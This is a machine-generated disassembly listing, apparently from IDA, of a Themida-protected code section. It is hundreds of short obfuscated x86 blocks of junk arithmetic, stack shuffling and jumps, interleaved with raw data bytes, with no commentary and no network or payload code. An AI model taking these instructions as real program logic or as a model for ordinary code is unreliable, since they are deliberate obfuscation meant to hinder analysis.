		mov	edx, 568C5747h
		and	edx, 73C136Eh
		sub	edx, 8D121BAh
		and	edx, 8752813h
		sub	edx, 8301FFCh
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A9941
; ---------------------------------------------------------------------------


loc_59F16F:				; CODE XREF: Themida_:005A9E5Aj
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5ABC7D
; ---------------------------------------------------------------------------


loc_59F17A:				; CODE XREF: Themida_:005AE343j
		sub	al, 53h
		push	bx
		push	11B8h
		jmp	loc_5ABD49
; ---------------------------------------------------------------------------


loc_59F188:				; CODE XREF: Themida_:0059C49Ej
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_599051
; ---------------------------------------------------------------------------


loc_59F194:				; CODE XREF: Themida_:005A696Aj
		pop	edx
		jmp	loc_5A2AEA
; ---------------------------------------------------------------------------
		dw 6851h
		dd 1EBCh, 83242489h, 59042404h,	4C181h,	0BD550000h, 2
		dd 38ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_59F1B9:				; CODE XREF: Themida_:loc_5AC7FBj
		jmp	loc_59D586
; ---------------------------------------------------------------------------


loc_59F1BE:				; CODE XREF: Themida_:005AC6D2j
		jmp	loc_59D36C
; ---------------------------------------------------------------------------


loc_59F1C3:				; CODE XREF: Themida_:005A15E7j
		mov	[esp], ebx
		jmp	loc_5AC0AE
; ---------------------------------------------------------------------------
		db 59h
		dd 3302EB81h, 0F38128B1h, 0C5FD3ABh, 1C85BD55h,	0EF014934h
		dd 0FBEDE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F1E6:				; CODE XREF: Themida_:0059D4F9j
		mov	dh, bh
		mov	ch, dh
		pop	edx
		jmp	loc_5AEB0B
; ---------------------------------------------------------------------------
		dd 8924248Bh, 74FF241Ch, 1C8B0424h, 4C48124h, 8F000000h
		dd 248B2404h, 0C8B6624h, 59545124h, 4C181h, 0E9830000h
		dd 240C8704h, 8924248Bh, 5954240Ch, 4C181h, 0BB530000h
		dd 2, 76A5E981h, 0D9010286h, 60BD5557h,	4511FF01h, 6CBECD81h
		dd 0F5814D7Eh, 5F791B5Ah, 15DEF89h, 34FF5FF9h, 0C4835B24h
		dd 0E2895204h, 4C281h, 0EA810000h, 4, 0B763E9h,	30C53400h
		dd 24048BC7h, 2C04C483h, 4F80041h, 0C3045B41h, 0FFC569E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F285:				; CODE XREF: Themida_:005A8308j
		push	7A85h
		mov	[esp], edi
		pop	dword ptr [edx+38h]
		jmp	loc_5A055B
; ---------------------------------------------------------------------------


loc_59F295:				; CODE XREF: Themida_:005A3BEBj
		push	7D3Ah
		mov	[esp], esi
		mov	esi, 9277757h
		mov	eax, esi
		pop	esi
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		and	ebx, 76B93CADh
		jmp	loc_5A6D61
; ---------------------------------------------------------------------------


loc_59F2BB:				; CODE XREF: Themida_:005A6A98j
		mov	esp, [esp]
		jmp	loc_5ABF99
; ---------------------------------------------------------------------------


loc_59F2C3:				; CODE XREF: Themida_:005A3334j
		push	ebx
		mov	ebx, 7B5970F2h
		not	ebx
		shl	ebx, 5
		xor	ebx, 0CDB7092h
		jns	loc_59A05B
		xor	ebx, 0B7262831h
		jmp	loc_5A79F9
; ---------------------------------------------------------------------------


loc_59F2E5:				; CODE XREF: Themida_:0059E44Fj
		mov	ebx, [esp]
		add	esp, 4
		add	bl, 0AFh
		sub	bl, 3Fh
		jmp	loc_59A2CD
; ---------------------------------------------------------------------------
		db 68h,	0Eh, 0Bh
		dd 465E00BCh, 5193E9h, 0E2895200h, 37E3E9h, 2DD8F700h
		dd 2028234Ch, 2958C731h, 8B5E5FF8h, 89562434h, 4C681E6h
		dd 0E9000000h, 0A7CCh, 0C73DB305h, 0E9D80129h, 3F88h, 0E9243433h
		dd 0FFFFF80Eh
; ---------------------------------------------------------------------------


loc_59F340:				; CODE XREF: Themida_:005ABC43j
		add	ebp, ebx
		add	ebp, 5CA5680Bh
		jmp	loc_59E80C
; ---------------------------------------------------------------------------


loc_59F34D:				; CODE XREF: Themida_:005ACB77j
		add	esp, 4
		push	ebx
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ebx
		inc	ebx
		shr	ebx, 1
		push	esi
		push	ebx
		push	0A36590Dh
		jmp	loc_59A965
; ---------------------------------------------------------------------------
		dd 8304C483h, 0C8904ECh, 4C9BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F37A:				; CODE XREF: Themida_:005A3092j
		mov	bl, 0EBh
		add	bl, cl
		pop	ecx
		sub	bl, dh
		mov	edx, [esp]
		push	ecx
		jmp	loc_5A2A08
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2BE24h, 0BA520000h, 4CA50E73h, 5641E281h, 0F281119Ah
		dd 209E7302h, 6007C281h, 0F281314Ah, 0F35A9CEh,	0FFA1ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F3B5:				; CODE XREF: Themida_:0059A5CCj
		mov	esi, 6F12211Fh
		sub	edi, esi
		pop	esi
		pop	edx
		movzx	eax, al
		jmp	loc_5A0166
; ---------------------------------------------------------------------------


loc_59F3C6:				; CODE XREF: Themida_:005A1346j
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, ebx
		sub	esp, 4
		mov	[esp], ecx
		xor	dword ptr [esp], 43F73C3Ch
		pop	esi
		xor	esi, 43F73C3Ch
		push	dword ptr [esp]
		jmp	loc_5A217E
; ---------------------------------------------------------------------------
		dw 4481h
		dd 6C400824h, 6C011EBAh, 0BF570824h, 1EBA6C40h,	0F7D9E9h
		dd 0F0305800h, 5324148Bh, 0C381E389h, 4, 4C381h, 1C870000h
		dd 0F38AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F42A:				; CODE XREF: Themida_:005ADC23j
		neg	al
		jmp	loc_5A70E1
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 47h
aDyUs7		db 'DY»Uι$7',0
		dd 0E9028F00h, 0FFFF8F48h, 5E08950h, 4,	90A0E9h, 2C48300h
		dd 242C8B66h, 53E18951h, 4BE36852h, 815A32DEh, 0DE4BE7F2h
		dd 3DE95232h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F46F:				; CODE XREF: Themida_:00599444j
		xor	cl, bh
		jmp	loc_5A8AFC
; ---------------------------------------------------------------------------


loc_59F476:				; CODE XREF: Themida_:0059FAF5j
		shl	ebx, 2
		or	ebx, 1C716D06h
		jmp	loc_5AD395
; ---------------------------------------------------------------------------


loc_59F484:				; CODE XREF: Themida_:005A2554j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A0421
; ---------------------------------------------------------------------------
		dd 0F828472Ch, 8EE94704h, 68FFFFFAh, 3F23h, 0FF9BE1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F4B5:				; CODE XREF: Themida_:0059FDCFj
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	ecx, 0Bh
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A3BD2
; ---------------------------------------------------------------------------


loc_59F4E4:				; CODE XREF: Themida_:0059B935j
					; Themida_:0059F035j
		xor	[esp], ecx
		jmp	loc_5AE016
; ---------------------------------------------------------------------------
		dd 240C8B66h, 563268h, 24348900h, 0EC815E54h, 4, 0E9242C89h
		dd 8D64h
; ---------------------------------------------------------------------------


loc_59F508:				; CODE XREF: Themida_:00598869j
		sub	esp, 4
		jmp	loc_59E9BF
; ---------------------------------------------------------------------------


loc_59F510:				; CODE XREF: Themida_:005A3AF6j
		jl	loc_5A0F32
		and	ebx, 11D108BBh
		jle	loc_59B7BB
		mov	ebx, esi


loc_59F524:				; CODE XREF: Themida_:005A5430j
		push	ebp
		mov	ebp, esp
		jmp	loc_5AB681
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 0A12BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F53A:				; CODE XREF: Themida_:005A8D85j
		xchg	esi, edi
		jmp	loc_5A1A17
; ---------------------------------------------------------------------------
		db 0BBh, 72h, 2Ch
		dd 0DBF70364h, 8106E3C1h, 0A5F6FC3h, 3CEB8121h,	4B6F436Dh
		dd 0E8B3F381h, 0C281BCF6h, 26513B8Ch, 0EA81DA29h, 26513B8Ch
		dd 19A4E95Bh, 0EB810000h, 0C5C39179h, 361BB951h, 0E18123C0h
		dd 1D657C7Eh, 0B5F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_59F589:				; CODE XREF: Themida_:005AC732j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 53B0C681h, 0D6F750D9h, 5ECE8146h, 0E9499F15h, 0FFFFEC44h
; ---------------------------------------------------------------------------


loc_59F5A4:				; CODE XREF: Themida_:005A5B42j
		mov	ebp, 4
		mov	esi, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		push	7A45h
		mov	[esp], edi
		push	55C3h
		mov	[esp], edx
		jmp	loc_5A1F16
; ---------------------------------------------------------------------------


loc_59F5C4:				; CODE XREF: Themida_:005AB38Fj
		push	44EFh
		jmp	loc_59B302
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24048B04h, 6604C483h, 86EB8853h, 86D6F6F3h, 66DD88F3h
		dd 81241C8Bh, 2C4h, 0E438E900h,	0D0010000h, 0E924148Bh
		dd 0FFFFAF2Fh
; ---------------------------------------------------------------------------


loc_59F5FC:				; CODE XREF: Themida_:005AB90Fj
		sub	bl, ch
		pop	ecx
		add	bl, 5Eh
		shr	bl, 5
		sub	bl, 0EFh
		sub	al, bl
		pop	ebx
		push	edx
		mov	dl, 8Fh
		add	bl, dl
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5AD2F6
; ---------------------------------------------------------------------------


loc_59F625:				; CODE XREF: Themida_:005A1087j
		pop	esi
		push	eax
		push	esp
		jmp	loc_5A82CD
; ---------------------------------------------------------------------------
aShv7		db 'ShV7',0
		dw 8900h
		dd 4832424h, 555B0424h,	0C57DE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F642:				; CODE XREF: Themida_:005A9537j
		mov	ecx, ebx
		jmp	loc_5A914D
; ---------------------------------------------------------------------------


loc_59F649:				; CODE XREF: Themida_:0059E382j
		add	ecx, 29CB5F6Ah
		mov	ebx, [esp]
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_5A052B
; ---------------------------------------------------------------------------


loc_59F662:				; CODE XREF: Themida_:00599688j
		shr	esi, 7
		jmp	loc_59ED71
; ---------------------------------------------------------------------------
		dw 8958h
		dd 0E0C15FF8h, 7D802D07h, 0C52D4450h, 5785137h,	80566BD6h
		dd 743FE9h
		db 0
; ---------------------------------------------------------------------------


loc_59F685:				; CODE XREF: Themida_:005A36C5j
		add	esp, 4
		jmp	loc_5A67A0
; ---------------------------------------------------------------------------


loc_59F690:				; CODE XREF: Themida_:005A3231j
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59E85B
; ---------------------------------------------------------------------------


loc_59F6B4:				; CODE XREF: Themida_:005A4A5Fj
		inc	edi
		xor	edi, 5DB91CE3h
		jns	loc_59C181
		not	edi
		push	ecx
		jmp	loc_5A6470
; ---------------------------------------------------------------------------
		db 57h,	53h, 0C6h
		db 0C5h, 0DAh, 5Ch
; ---------------------------------------------------------------------------


loc_59F6CF:				; CODE XREF: Themida_:005AD2B9j
		dec	ebx
		jmp	loc_5A58AD
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4EAh, 24148700h, 0F842E9h
		db 0
; ---------------------------------------------------------------------------


loc_59F6E9:				; CODE XREF: Themida_:0059DBE0j
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0C4D7E33h
		jmp	loc_5A428A
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC810000h, 4, 89240C89h, 79C368E1h,	4890000h
		dd 5972B824h, 0E9536688h, 0FFFFB674h, 7E22BCBBh, 0BEE95756h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F72B:				; CODE XREF: Themida_:005A4D50j
		pop	edx
		push	ecx
		jmp	loc_5A9B00
; ---------------------------------------------------------------------------


loc_59F732:				; CODE XREF: Themida_:005AACF6j
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_5A9A17
; ---------------------------------------------------------------------------


loc_59F73C:				; CODE XREF: Themida_:005ADA25j
		pop	ecx
		sub	ebx, eax
		pop	eax
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	1CEEh
		mov	[esp], edx
		mov	edx, 3AC958C5h
		inc	edx
		jge	loc_5AB966
		xor	edx, 7503011Bh
		jz	loc_5AA8CA
		pop	edi


loc_59F768:				; CODE XREF: Themida_:00599D6Dj
		xor	ebp, 68307B84h
		jmp	loc_5A8DF2
; ---------------------------------------------------------------------------


loc_59F773:				; CODE XREF: Themida_:005A5A37j
		sub	eax, ecx
		pop	ecx
		push	ebx
		jmp	loc_5AE96B
; ---------------------------------------------------------------------------


loc_59F77C:				; CODE XREF: Themida_:005A2FB2j
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A180D
; ---------------------------------------------------------------------------


loc_59F787:				; CODE XREF: Themida_:005A36F9j
		mov	ebx, 691747DEh
		xor	ebx, 51AB728Eh
		jno	loc_599ED6
		jmp	loc_5A4498
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 2
		dd 5BD7791Bh
; ---------------------------------------------------------------------------


loc_59F7A4:				; CODE XREF: Themida_:005A0EE3j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5ADE1C
; ---------------------------------------------------------------------------


loc_59F7AD:				; CODE XREF: Themida_:005A18A8j
		push	edi
		jmp	loc_5A93C2
; ---------------------------------------------------------------------------


loc_59F7B3:				; CODE XREF: Themida_:005A9E11j
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59CA0C
; ---------------------------------------------------------------------------


loc_59F7C4:				; CODE XREF: Themida_:005A8338j
		xor	eax, 6ABF3E62h
		mov	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	ecx, esi
		jmp	loc_5ABE0F
; ---------------------------------------------------------------------------


loc_59F7D9:				; CODE XREF: Themida_:005AAE5Cj
		add	ebp, eax
		pop	eax
		sub	ebp, 18B1AE74h
		add	ecx, 15CF5B09h
		sub	ecx, ebp
		sub	ecx, 15CF5B09h
		jmp	loc_5A887D
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 1B11E9h
		db 0
; ---------------------------------------------------------------------------


loc_59F7FD:				; CODE XREF: Themida_:loc_598F0Ej
		push	ecx
		mov	ecx, 9483E196h
		xor	ebx, ecx
		pop	ecx
		add	ebx, 65852D52h
		add	ebx, 746C5347h
		add	ebx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 746C5347h
		jmp	loc_5A8009
; ---------------------------------------------------------------------------


loc_59F824:				; CODE XREF: Themida_:0059E6F6j
		push	3CBF2F9Dh
		jmp	loc_5A6E3D
; ---------------------------------------------------------------------------


loc_59F82E:				; CODE XREF: Themida_:005A4775j
		mov	[esp], eax
		mov	ah, 7Ah
		xor	ah, 73h
		add	bl, ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5A905F
; ---------------------------------------------------------------------------


loc_59F843:				; CODE XREF: Themida_:005A928Bj
		inc	cl
		jnp	loc_5AF040
		push	edx
		mov	dl, 32h
		shl	dl, 6
		xor	dl, 87h
		push	eax
		mov	al, 59h
		mov	cl, al


loc_59F859:				; CODE XREF: Themida_:005ABC70j
		pop	esi
		dec	edx
		jmp	loc_5A3D56
; ---------------------------------------------------------------------------


loc_59F860:				; CODE XREF: Themida_:005A4C23j
		push	edi
		mov	edi, 2EF17341h
		jmp	loc_5A3CD1
; ---------------------------------------------------------------------------


loc_59F86B:				; CODE XREF: Themida_:00598C37j
		jmp	loc_59CE55
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 81E92404h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F87B:				; CODE XREF: Themida_:005A61F2j
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5A2A97
; ---------------------------------------------------------------------------


loc_59F888:				; CODE XREF: Themida_:005A80B7j
		not	ebx
		jmp	loc_5A9AF2
; ---------------------------------------------------------------------------


loc_59F88F:				; CODE XREF: Themida_:005A58B3j
		mov	edi, ebx
		jmp	loc_5AC4EC
; ---------------------------------------------------------------------------


loc_59F896:				; CODE XREF: Themida_:005AD4F2j
		add	edi, ebp
		add	edi, 69E47673h
		sub	edi, 47870C74h
		pop	ebp
		jmp	loc_5AF3F9
; ---------------------------------------------------------------------------


loc_59F8AA:				; CODE XREF: Themida_:005A9C08j
		sub	ebx, 0ADA0C8Eh
		add	ebx, esi
		add	ebx, 0ADA0C8Eh
		pop	esi
		pop	small word ptr [eax]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59F8C1:				; CODE XREF: Themida_:005A578Bj
		sub	ecx, 430F0E83h
		add	ecx, edi
		add	ecx, 430F0E83h
		jmp	loc_59EDE7
; ---------------------------------------------------------------------------
		dd 24148966h, 0D028EAB2h, 0E9E95A66h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F8E3:				; CODE XREF: Themida_:0059B7B6j
		shr	esi, 2
		and	esi, 211F44FBh
		jmp	loc_5AB9E2
; ---------------------------------------------------------------------------


loc_59F8F1:				; CODE XREF: Themida_:005ACB29j
		mov	ecx, [esp]
		jmp	loc_5A6618
; ---------------------------------------------------------------------------


loc_59F8F9:				; CODE XREF: Themida_:0059A099j
		mov	[esp], edx
		jmp	loc_59CA47
; ---------------------------------------------------------------------------


loc_59F901:				; CODE XREF: Themida_:0059A0CDj
		add	ebp, ecx
		pop	ecx
		xor	ebp, 0B507D12h
		jmp	loc_59D000
; ---------------------------------------------------------------------------


loc_59F90F:				; CODE XREF: Themida_:005A3FD3j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		jmp	loc_5A300E
; ---------------------------------------------------------------------------


loc_59F91C:				; CODE XREF: Themida_:005A194Aj
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5AAA0C
; ---------------------------------------------------------------------------


loc_59F927:				; CODE XREF: Themida_:005A0E16j
		pop	ecx
		shl	ebx, 2
		xor	ebx, 0A159C6FDh
		sub	eax, ebx
		pop	ebx
		add	eax, edi
		add	eax, 1BAD2A05h
		pop	edi
		jmp	loc_5A4CD5
; ---------------------------------------------------------------------------


loc_59F941:				; CODE XREF: Themida_:0059E402j
		mov	ebx, 4A39017Bh
		or	ebx, 4E036B59h
		jmp	loc_5A045C
; ---------------------------------------------------------------------------
		db 88h,	0F9h, 88h
		dd 240C8BCCh, 5B04C483h, 8058E588h, 0F5801ACDh,	5E5C0C6h
		dd 8067CD80h, 0E82848C5h, 3721E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F976:				; CODE XREF: Themida_:005AA9EAj
		mov	[esp], ecx
		push	eax
		jmp	loc_5A2460
; ---------------------------------------------------------------------------


loc_59F97F:				; CODE XREF: Themida_:0059AF5Ej
					; Themida_:005A4636j
		push	5D165F1Bh
		pop	eax
		push	ebx
		push	esi
		mov	esi, 48093A51h
		mov	ebx, 62C24C6Ah
		xor	ebx, esi
		pop	esi
		add	eax, 23961B79h
		add	eax, ebx
		sub	eax, 23961B79h
		pop	ebx
		push	0
		jmp	loc_5AC41B
; ---------------------------------------------------------------------------
		db 89h
		dd 0F71DE9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F9B2:				; CODE XREF: Themida_:005AEE0Fj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5A047B
; ---------------------------------------------------------------------------


loc_59F9C7:				; CODE XREF: Themida_:0059A0BAj
		mov	esp, [esp]
		add	esp, 4
		push	ebp
		push	eax
		push	ebp
		mov	ebp, 5A1A7BE0h
		jmp	loc_5A9CB6
; ---------------------------------------------------------------------------


loc_59F9DA:				; CODE XREF: Themida_:005A9657j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A367E
; ---------------------------------------------------------------------------
		db 35h
		dd 7A9A50E8h, 1408005h,	58C6011Fh, 216068h, 241C8900h
		dd 4BBh, 0B8ECE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FA02:				; CODE XREF: Themida_:0059C4A8j
		push	eax
		xor	dword ptr [esp], 65947292h
		pop	ebx
		xor	ebx, 65947292h
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A505A
; ---------------------------------------------------------------------------


loc_59FA20:				; CODE XREF: Themida_:0059B0B4j
		sub	ebx, 12A27443h
		mov	eax, ebx
		jmp	loc_5ADD00
; ---------------------------------------------------------------------------


loc_59FA2D:				; CODE XREF: Themida_:0059D24Fj
		not	bl
		jmp	loc_5A7D6B
; ---------------------------------------------------------------------------


loc_59FA34:				; CODE XREF: Themida_:005A363Ej
		pop	edi
		jmp	loc_5989B4
; ---------------------------------------------------------------------------


loc_59FA3A:				; CODE XREF: Themida_:0059E347j
		or	esi, 24C0655h
		jmp	loc_5A3E11
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXhly		db 'Xh«y',0
		align 2
		dw 43E9h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FA53:				; CODE XREF: Themida_:005A8A08j
		add	ebx, edi
		sub	ebx, 18B8444Ah
		pop	edi
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		mul	cx
		push	small 5169h
		mov	[esp], dx
		jmp	loc_5A8B24
; ---------------------------------------------------------------------------
		db 51h
		dd 6EFABA52h, 0DAF73F83h, 3810F4Ah, 4AFFFFE6h, 0D468F0Fh
		dd 0EA810000h, 4CE67444h, 0C8B60F66h, 0E99C5166h, 305Ah
; ---------------------------------------------------------------------------


loc_59FA9C:				; CODE XREF: Themida_:005A6DF6j
		push	edi
		mov	edi, 0BA471CDh
		shr	edi, 1
		shr	edi, 8
		jmp	loc_59978D
; ---------------------------------------------------------------------------


loc_59FAAC:				; CODE XREF: Themida_:0059EE1Aj
		not	ecx
		inc	ecx
		add	ecx, 233E56AEh
		push	ecx
		jmp	loc_59C494
; ---------------------------------------------------------------------------
		db 35h
		dd 4FF45DFBh, 8758C501h, 0E95C242Ch, 0F7B9h
; ---------------------------------------------------------------------------


loc_59FACC:				; CODE XREF: Themida_:005A1A12j
		add	bl, ch
		pop	cx
		jmp	loc_5A38F7
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 241C8B54h, 713CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59FAE1:				; CODE XREF: Themida_:0059952Ej
		add	esp, 4
		sub	cl, 85h
		jmp	loc_5AE965
; ---------------------------------------------------------------------------


loc_59FAEF:				; CODE XREF: Themida_:loc_599ED6j
		or	ebx, 47D33DC4h
		ja	loc_59F476
		shl	ebx, 2
		or	ebx, 1C716D06h
		mov	cl, cl


loc_59FB06:				; CODE XREF: Themida_:005A65A1j
		add	ebp, 0CFBC6699h
		mov	edx, ebp
		jmp	loc_5ACAD7
; ---------------------------------------------------------------------------


loc_59FB13:				; CODE XREF: Themida_:005A879Ej
		sub	ebx, eax
		add	ebx, 3EA94280h
		jmp	loc_599A47
; ---------------------------------------------------------------------------


loc_59FB20:				; CODE XREF: Themida_:005AEB92j
		pop	esi
		mov	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A329E
; ---------------------------------------------------------------------------


loc_59FB2C:				; CODE XREF: Themida_:005AAFDFj
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	66CAh
		mov	[esp], esp
		jmp	loc_599016
; ---------------------------------------------------------------------------


loc_59FB43:				; CODE XREF: Themida_:005AC1ACj
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	ecx, [esp]
		jmp	loc_5A4BC1
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 73C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_59FB59:				; CODE XREF: Themida_:005A5412j
					; Themida_:005A8906j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		push	0
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AC971
; ---------------------------------------------------------------------------


loc_59FB83:				; CODE XREF: Themida_:005A6A5Aj
		add	edx, edi
		jmp	loc_5A9D97
; ---------------------------------------------------------------------------
		dw 0C068h
		dd 89000065h, 0B966240Ch, 816674CFh, 0E974F0E1h, 0FFFFBCA7h
; ---------------------------------------------------------------------------


loc_59FBA0:				; CODE XREF: Themida_:005AA37Dj
		push	ebx
		mov	ebx, 6F831ACCh
		inc	ebx
		jle	loc_5AE597
		jmp	loc_5AEAAC
; ---------------------------------------------------------------------------
		dw 5E9h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FBB7:				; CODE XREF: Themida_:005AEE54j
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5998B5
; ---------------------------------------------------------------------------


loc_59FBC4:				; CODE XREF: Themida_:005A525Aj
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	7182h
		mov	[esp], eax
		jmp	loc_599C2C
; ---------------------------------------------------------------------------


loc_59FBD6:				; CODE XREF: Themida_:005A7DA5j
		push	6A2Fh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 54837856h
		pop	ebp
		sub	ebp, 54837856h
		jmp	loc_5A42E2
; ---------------------------------------------------------------------------


loc_59FBF7:				; CODE XREF: Themida_:005A77D7j
		sub	edx, 44971BE5h
		jnp	loc_5A6FE7
		xor	edx, 7E5B4Dh
		jl	loc_5AC961
		mov	dh, dh


loc_59FC11:				; CODE XREF: Themida_:0059B473j
		mov	edi, 598842BAh
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5AD25B
; ---------------------------------------------------------------------------


loc_59FC24:				; CODE XREF: Themida_:005ACADCj
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 554946CEh
		sub	ecx, 5CA039Fh
		jmp	loc_59A03A
; ---------------------------------------------------------------------------


loc_59FC3C:				; CODE XREF: Themida_:005A210Bj
		mov	ebp, esp
		jmp	loc_59E8AC
; ---------------------------------------------------------------------------


loc_59FC43:				; CODE XREF: Themida_:0059B132j
		pop	ecx
		not	ecx
		add	ecx, 0E5FFEE2Ch
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	eax, eax
		jz	loc_59B17A
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A18DB
; ---------------------------------------------------------------------------


loc_59FC68:				; CODE XREF: Themida_:0059AC64j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59CA16
; ---------------------------------------------------------------------------
		dw 0CDFEh
		dd 0E9EBED80h, 0FFFFF464h, 840FEBD1h, 0A36h, 9FFBEB81h
		dd 81531EF9h, 2F152434h, 2CE9096Eh
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59FC9B:				; CODE XREF: Themida_:005983F6j
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		push	2EDAh
		jmp	loc_5A15F3
; ---------------------------------------------------------------------------
		db 0E9h, 3Ah, 87h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FCCA:				; CODE XREF: Themida_:0059E418j
		add	esi, 719C3375h
		or	edx, esi
		pop	esi
		add	edx, 1
		add	edx, 4310394Bh
		add	edx, 423DEC4Fh
		jmp	loc_59C233
; ---------------------------------------------------------------------------


loc_59FCEA:				; CODE XREF: Themida_:005A5B8Cj
					; Themida_:005A62C2j
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 6BBF6018h
		and	ebp, 60E50A92h
		or	ebp, 23FF7EC1h
		xor	ebp, 61554BD0h
		sub	ebp, 2AA34FDh
		add	ebx, ebp
		jmp	loc_59AE2F
; ---------------------------------------------------------------------------


loc_59FD12:				; CODE XREF: Themida_:005A31C4j
		mov	edi, 68EA371Dh
		jmp	loc_5AE935
; ---------------------------------------------------------------------------
		dd 66DDC181h, 0D1F70598h, 6C29BD55h, 814D52C8h,	0D63404E5h
		dd 43C58150h, 8102FC6Eh, 0B24712EDh, 4DE9567Ah
		db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FD43:				; CODE XREF: Themida_:005A7711j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		jmp	loc_59D60D
; ---------------------------------------------------------------------------


